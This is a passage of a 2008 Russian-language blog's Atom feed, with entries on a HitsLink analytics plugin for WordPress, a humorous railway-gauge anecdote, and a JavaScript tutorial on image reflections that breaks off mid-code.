src="http://feeds.feedburner.com/~f/sjblog?i=kPxoN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=yFNNn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=yFNNn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=6uDON"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=6uDON" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=Hu0SN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=Hu0SN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=cJTDn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=cJTDn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=kPxoN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=kPxoN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/457980272" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/security/361-minimizing-consequences-of-http-scans/#comments" thr:count="1" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/security/361-minimizing-consequences-of-http-scans/feed/atom/" thr:count="1" />
		<thr:total>1</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fsecurity%2F361-minimizing-consequences-of-http-scans%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/security/361-minimizing-consequences-of-http-scans/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[HitsLink для WordPress]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/457852188/" />
		<id>http://blog.sjinks.org.ua/?p=360</id>
		<updated>2008-11-19T01:27:56Z</updated>
		<published>2008-11-19T01:27:56Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="Плагины" /><category scheme="http://blog.sjinks.org.ua" term="HitsLink" /><category scheme="http://blog.sjinks.org.ua" term="plugin" /><category scheme="http://blog.sjinks.org.ua" term="web analytics" /><category scheme="http://blog.sjinks.org.ua" term="WordPress" /><category scheme="http://blog.sjinks.org.ua" term="плагин" />		<summary type="html"><![CDATA[HitsLink&#160;&#8212;&#160;это платный сервис стаистики, который достаточно хорош, чтобы быть альтернативой Google Analytics. HitsLink предоставляет 30-дневный пробный бесплатный период.
HitsLink является довольно-таки популярным сервисом в странах Запада (и лично мне он нравится больше, чем Clicky или Google Analytics).
У сервиса есть один недостаток: он не предоставляет плагин для WordPress. В принципе, можно добавлять код руками в тему, но [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/wordpress/plugins/360-hitslink-for-wordpress/">&lt;p&gt;&lt;a href="http://www.hitslink.com/" rel="nofollow"&gt;HitsLink&lt;/a&gt;&amp;nbsp;&amp;mdash;&amp;nbsp;это платный сервис стаистики, который достаточно хорош, чтобы быть альтернативой Google Analytics. &lt;a href="http://blog.sjinks.org.ua/tag/hitslink/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with HitsLink"&gt;HitsLink&lt;/a&gt; предоставляет 30-дневный пробный бесплатный период.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.sjinks.org.ua/tag/hitslink/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with HitsLink"&gt;HitsLink&lt;/a&gt; является довольно-таки популярным сервисом в странах Запада (и лично мне он нравится больше, чем Clicky или Google Analytics).&lt;span id="more-360"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;У сервиса есть один недостаток: он не предоставляет &lt;a href="http://blog.sjinks.org.ua/tag/%d0%bf%d0%bb%d0%b0%d0%b3%d0%b8%d0%bd/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with плагин"&gt;плагин&lt;/a&gt; для &lt;a href="http://blog.sjinks.org.ua/tag/wordpress/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with WordPress"&gt;WordPress&lt;/a&gt;. В принципе, можно добавлять код руками в тему, но ведь это не наш метод, не так ли?&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.sjinks.org.ua/tag/%d0%bf%d0%bb%d0%b0%d0%b3%d0%b8%d0%bd/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with плагин"&gt;Плагин&lt;/a&gt; написан на &lt;a href="http://blog.sjinks.org.ua/tag/php/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with PHP"&gt;PHP&lt;/a&gt;5, протестирован на версиях &lt;a href="http://blog.sjinks.org.ua/tag/wordpress/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with WordPress"&gt;WordPress&lt;/a&gt;&amp;nbsp;2.5.x-2.6.x.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="http://download.sjinks.org.ua:8080/wordpress/hitslink-0.3.1.zip"&gt;Скачать HitsLink для WordPress&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;

	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/211-clicky-for-wordpress-and-javascript-problems/" title="Clicky 0.3b для WordPress и проблемы с JavaScript (July 1, 2008)"&gt;Clicky 0.3b для WordPress и проблемы с JavaScript&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/plugins/74-sick-and-tired-of-spamers-yet-another-captcha-for-wordpress/" title="Спамеры просто достали, или, Еще одна CAPTCHA для WordPress (April 7, 2008)"&gt;Спамеры просто достали, или, Еще одна CAPTCHA для WordPress&lt;/a&gt; (22)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/plugins/61-russian-addthis-one-button-for-all-bookmark-services/" title="Русский AddThis&amp;nbsp;&amp;mdash;&amp;nbsp;одна кнопка для всех сервисов закладок (March 31, 2008)"&gt;Русский AddThis&amp;nbsp;&amp;mdash;&amp;nbsp;одна кнопка для всех сервисов закладок&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/php/179-patch-for-wp-wassup-151/" title="Патч для WP WassUp 1.5.1 (June 1, 2008)"&gt;Патч для WP WassUp 1.5.1&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/13-patch-for-wp-codebox-for-valid-xhtml/" title="Патч для WP CodeBox для Valid XHTML (March 11, 2008)"&gt;Патч для WP CodeBox для Valid XHTML&lt;/a&gt; (2)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=8v0fUe"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=8v0fUe" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=FrH1N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=FrH1N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=CyT6N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=CyT6N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=7sDcn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=7sDcn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=h9iKn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=h9iKn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=x1g8N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=x1g8N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=3QpHn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=3QpHn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=lfrJN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=lfrJN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=NZK3n"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=NZK3n" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=1BlUN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=1BlUN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=Rg7QN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=Rg7QN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=3QpHn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=3QpHn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=lfrJN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=lfrJN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/457852188" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/wordpress/plugins/360-hitslink-for-wordpress/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/wordpress/plugins/360-hitslink-for-wordpress/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fwordpress%2Fplugins%2F360-hitslink-for-wordpress%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/wordpress/plugins/360-hitslink-for-wordpress/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[Космический корабль и лошадь]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/457819497/" />
		<id>http://blog.sjinks.org.ua/?p=359</id>
		<updated>2008-11-19T01:28:37Z</updated>
		<published>2008-11-18T01:11:42Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="Юмор" /><category scheme="http://blog.sjinks.org.ua" term="humor" /><category scheme="http://blog.sjinks.org.ua" term="юмор" />		<summary type="html"><![CDATA[Из архивов&#8230;
По бокам космического корабля "Кеннеди" размещаются два двигателя по 5 футов шириной. Конструкторы корабля хотели сделать эти двигатели еще шире, но не смогли. Почему?
Дело в том, что двигатели эти доставлялись по железной дороге, которая проходит по узкому тоннелю. Расстояние между рельсами стандартное: 4&#160;фута 8.5&#160;дюймов, поэтому конструкторы могли сделать двигатели только шириной 5&#160;футов.
Возникает вопрос: почему [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/humour/359-spaceship-and-horse/">&lt;p&gt;Из архивов&amp;hellip;&lt;/p&gt;
&lt;p&gt;По бокам космического корабля "Кеннеди" размещаются два двигателя по 5 футов шириной. Конструкторы корабля хотели сделать эти двигатели еще шире, но не смогли. Почему?&lt;br /&gt;
Дело в том, что двигатели эти доставлялись по железной дороге, которая проходит по узкому тоннелю. Расстояние между рельсами стандартное: 4&amp;nbsp;фута 8.5&amp;nbsp;дюймов, поэтому конструкторы могли сделать двигатели только шириной 5&amp;nbsp;футов.&lt;/p&gt;
&lt;p&gt;Возникает вопрос: почему расстояние между рельсами 4&amp;nbsp;фута 8.5&amp;nbsp;дюймов? Откуда же взялась эта цифра?&lt;span id="more-359"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Оказывается, что железную дорогу в Соединённых Штатах делали такую же, как и в Англии, а в Англии делали железнодорожные вагоны по тому же принципу, что и трамвайные, а первые трамваи производились в Англии по образу и подобию конки. А длина оси конки составляла как раз&amp;hellip; правильно, 4&amp;nbsp;фута 8.5&amp;nbsp;дюймов! Но почему?&lt;/p&gt;
&lt;p&gt;Потому что конки делали с тем расчетом, чтобы их оси попадали в колеи на английских дорогах, чтобы колеса меньше изнашивались, а расстояние между колеями в Англии как раз&amp;hellip; да, Вы угадали: именно 4&amp;nbsp;фута 8.5&amp;nbsp;дюймов! Отчего так?&lt;/p&gt;
&lt;p&gt;Да просто дороги в Великобритании стали делать римляне, подводя их под размер своих боевых колесниц, и длина оси стандартной римской колесницы равнялась&amp;hellip; правильно, 4&amp;nbsp;футам 8.5&amp;nbsp;дюймам! Ну вот теперь мы докопались, откуда взялся этот размер, но все же, почему римлянам вздумалось делать свои колесницы с осями именно такой длины?&lt;/p&gt;
&lt;p&gt;А вот почему: в такую колесницу запрягали обычно двух лошадей. А 4&amp;nbsp;фута 8.5&amp;nbsp;дюймов&amp;nbsp;&amp;mdash;&amp;nbsp;это был как раз размер двух лошадиных задниц! Делать ось колесницы длиннее было неудобно, так как это нарушало бы равновесие колесницы.&lt;/p&gt;
&lt;p&gt;Следовательно, вот и ответ на самый первый вопрос: даже теперь, когда человек вышел в космос, его наивысшие технические достижения напрямую зависят от &lt;strong&gt;размера лошадиной задницы две тысячи лет назад&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;PS&amp;nbsp;&amp;mdash;&amp;nbsp;мне стало интересно, почему в России железно-дорожная колея шире?&lt;br /&gt;
Неужели лошади толще?&lt;/p&gt;

	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/humour/22-genesis/" title="Проект Genesis (February 5, 2008)"&gt;Проект Genesis&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/humour/76-programmers-russian-indian-chinese-canadian/" title="Программисты: русские, индусы, китайцы и канадцы (April 7, 2008)"&gt;Программисты: русские, индусы, китайцы и канадцы&lt;/a&gt; (11)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/humour/271-we-are-hopeless/" title="Мы безнадёжны… (July 21, 2008)"&gt;Мы безнадёжны…&lt;/a&gt; (3)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/humour/26-computer-feels-bad-decided-commit-suicide/" title="Компьютеру стало совсем худо, и он решил прекратить свои страдания (March 13, 2008)"&gt;Компьютеру стало совсем худо, и он решил прекратить свои страдания&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/humour/19-what-elephant-is-made-of/" title="Из чего состоит слон, или, Тяжела и неказиста жизнь простого программиста (March 1, 2008)"&gt;Из чего состоит слон, или, Тяжела и неказиста жизнь простого программиста&lt;/a&gt; (0)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=Qy56ug"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=Qy56ug" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=6Q8hN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=6Q8hN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=IDPvN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=IDPvN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=9wuqn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=9wuqn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=6daxn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=6daxn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=05XkN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=05XkN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=o6KQn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=o6KQn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=xlDsN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=xlDsN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=POkgn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=POkgn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=fTSpN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=fTSpN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=Nl7GN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=Nl7GN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=o6KQn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=o6KQn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=xlDsN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=xlDsN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/457819497" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/humour/359-spaceship-and-horse/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/humour/359-spaceship-and-horse/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fhumour%2F359-spaceship-and-horse%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/humour/359-spaceship-and-horse/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[Создание отражения рисунка с помощью JavaScript]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/455311535/" />
		<id>http://blog.sjinks.org.ua/?p=356</id>
		<updated>2008-11-16T22:12:36Z</updated>
		<published>2008-11-16T22:12:36Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="JavaScript" /><category scheme="http://blog.sjinks.org.ua" term="canvas" /><category scheme="http://blog.sjinks.org.ua" term="effects" /><category scheme="http://blog.sjinks.org.ua" term="HTML 5" /><category scheme="http://blog.sjinks.org.ua" term="эффекты" />		<summary type="html"><![CDATA[Постановка задачи: из исходного изображения 

получить отраженное изображение:

Дополнительное условие: генерировать изображение на стороне клиента (то есть без использования GD, ImageMagick и иже с ними).
В черновике стандарта HTML&#160;5 пристутствует такой замечательный элемент как &#60;canvas&#62;. Если вкратце, то данный элемент предназначен для создания  изображений при помощи JavaScript.
Впервые элемент &#60;canvas&#62; был представлен компанией Apple и использовался как [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/javascript/356-image-reflection-with-javascript/">&lt;p&gt;&lt;strong&gt;Постановка задачи:&lt;/strong&gt; из исходного изображения &lt;/p&gt;
&lt;p&gt;&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/source.png" alt="Исходное изображение" title="Исходное изображение" width="363" height="240" class="alignnone size-full wp-image-357" /&gt;&lt;/p&gt;
&lt;p&gt;получить отраженное изображение:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/dest.png" alt="Исходное изображение с отражением" title="Исходное изображение с отражением" width="363" height="476" class="alignnone size-full wp-image-358" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Дополнительное условие:&lt;/strong&gt; генерировать изображение на стороне клиента (то есть без использования GD, ImageMagick и иже с ними).&lt;span id="more-356"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;В черновике стандарта HTML&amp;nbsp;5 пристутствует такой замечательный элемент как &lt;code class="codebox html"&gt;&lt;span class="sc3"&gt;&amp;lt;canvas&amp;gt;&lt;/span&gt;&lt;/code&gt;. Если вкратце, то данный элемент предназначен для создания  изображений при помощи &lt;a href="http://blog.sjinks.org.ua/tag/javascript/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with JavaScript"&gt;JavaScript&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Впервые элемент &lt;code class="codebox html"&gt;&lt;span class="sc3"&gt;&amp;lt;canvas&amp;gt;&lt;/span&gt;&lt;/code&gt; был представлен компанией Apple и использовался как компонент WebKit для Mac&amp;nbsp;OS&amp;nbsp;X в таких приложениях как Dashboard и Safari.&lt;/p&gt;
&lt;p&gt;Поддержка &lt;code class="codebox html"&gt;&lt;span class="sc3"&gt;&amp;lt;canvas&amp;gt;&lt;/span&gt;&lt;/code&gt; в Gecko появилась в версии 1.5, в Presto с версии 9.0 веб-браузера Opera. Текущие версии Internet Explorer (включая восьмую бету) не поддерживают &lt;code class="codebox html"&gt;&lt;span class="sc3"&gt;&amp;lt;canvas&amp;gt;&lt;/span&gt;&lt;/code&gt;. Несмотря на это, для поставленной задачи существует кросс-браузерное решение.&lt;/p&gt;
&lt;p&gt;В Microsoft Internet Explorer отражения с прозрачностью можно достичь путём использования комбинации фильтров. В частности, для вертикального отражения используется фильтр &lt;code&gt;flipv&lt;/code&gt;, для горизонтального&amp;nbsp;&amp;mdash;&amp;nbsp;&lt;code&gt;fliph&lt;/code&gt;. Про реализацию прозрачности в Internet Explorer, наверное, знает каждый: &lt;code&gt;progid:DXImageTransform.Microsoft.Alpha&lt;/code&gt;. Тем не менее, не все знают, что можно задавать градиентную прозрачность.&lt;/p&gt;
&lt;p&gt;Перейдём к решению. Пусть у нас имеется такая разметка:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35638"&gt;
        &lt;div class="code html" id="p356code38"&gt;
&lt;span class="sc3"&gt;&amp;lt;&lt;span class="kw2"&gt;div&lt;/span&gt; &lt;span class="kw3"&gt;id&lt;/span&gt;&lt;span class="sy0"&gt;=&lt;/span&gt;&lt;span class="st0"&gt;&amp;quot;container&amp;quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="sc3"&gt;&amp;lt;&lt;span class="kw2"&gt;img&lt;/span&gt; &lt;span class="kw3"&gt;id&lt;/span&gt;&lt;span class="sy0"&gt;=&lt;/span&gt;&lt;span class="st0"&gt;&amp;quot;image&amp;quot;&lt;/span&gt; &lt;span class="kw3"&gt;src&lt;/span&gt;&lt;span class="sy0"&gt;=&lt;/span&gt;&lt;span class="st0"&gt;&amp;quot;image.png&amp;quot;&lt;/span&gt; &lt;span class="kw3"&gt;alt&lt;/span&gt;&lt;span class="sy0"&gt;=&lt;/span&gt;&lt;span class="st0"&gt;&amp;quot;Image&amp;quot;&lt;/span&gt;&lt;span class="sy0"&gt;/&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="sc3"&gt;&amp;lt;&lt;span class="sy0"&gt;/&lt;/span&gt;&lt;span class="kw2"&gt;div&lt;/span&gt;&amp;gt;&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Будем полагать, что ширина и высота контейнера заданы (если мы делаем отражение по вертикали, то ширина контейнера совпадает с шириной рисунка, а высота контейнера в два раза больше высоты рисунка; аналогично для горизонтального отражения).&lt;/p&gt;
&lt;p&gt;Начнём с классики (MSIE).&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35639"&gt;
        &lt;div class="code javascript" id="p356code39"&gt;
&lt;span class="coMULTI"&gt;/**&lt;br /&gt;
&amp;nbsp;* @param container &amp;lt;div id=&amp;quot;container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;* @param image &amp;lt;img id=&amp;quot;image&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;* @param ratio Коэффициент сжатия/растягивания отражения&lt;br /&gt;
&amp;nbsp;* @param opacity_start Начальная (ближняя к отражаемому изображению) непрозрачность &lt;br /&gt;
&amp;nbsp;* @param opacity_end Конечная непрозрачность&lt;br /&gt;
&amp;nbsp;* @param horizontal 0 = вертикальное отражение, 1 = горизонтальное отражение&lt;br /&gt;
&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw2"&gt;function&lt;/span&gt; reflect_image&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;container&lt;span class="sy0"&gt;,&lt;/span&gt; image&lt;span class="sy0"&gt;,&lt;/span&gt; ratio&lt;span class="sy0"&gt;,&lt;/span&gt; opacity_start&lt;span class="sy0"&gt;,&lt;/span&gt; opacity_end&lt;span class="sy0"&gt;,&lt;/span&gt; horizontal&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;
&lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw2"&gt;var&lt;/span&gt; reflection &amp;nbsp;&lt;span class="sy0"&gt;=&lt;/span&gt; document.&lt;span class="me1"&gt;createElement&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="st0"&gt;'img'&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;src&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;src&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;style&lt;/span&gt;.&lt;span class="me1"&gt;width&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;width&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;'px'&lt;/span&gt;;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw1"&gt;if&lt;/span&gt; &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0 &lt;span class="sy0"&gt;==&lt;/span&gt; horizontal&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;style&lt;/span&gt;.&lt;span class="me1"&gt;filter&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;opacity_start&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;', style=1, finishOpacity='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;opacity_end&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;', startx=0, starty=0, finishx=0, finishy='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;ratio&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;')'&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw1"&gt;else&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
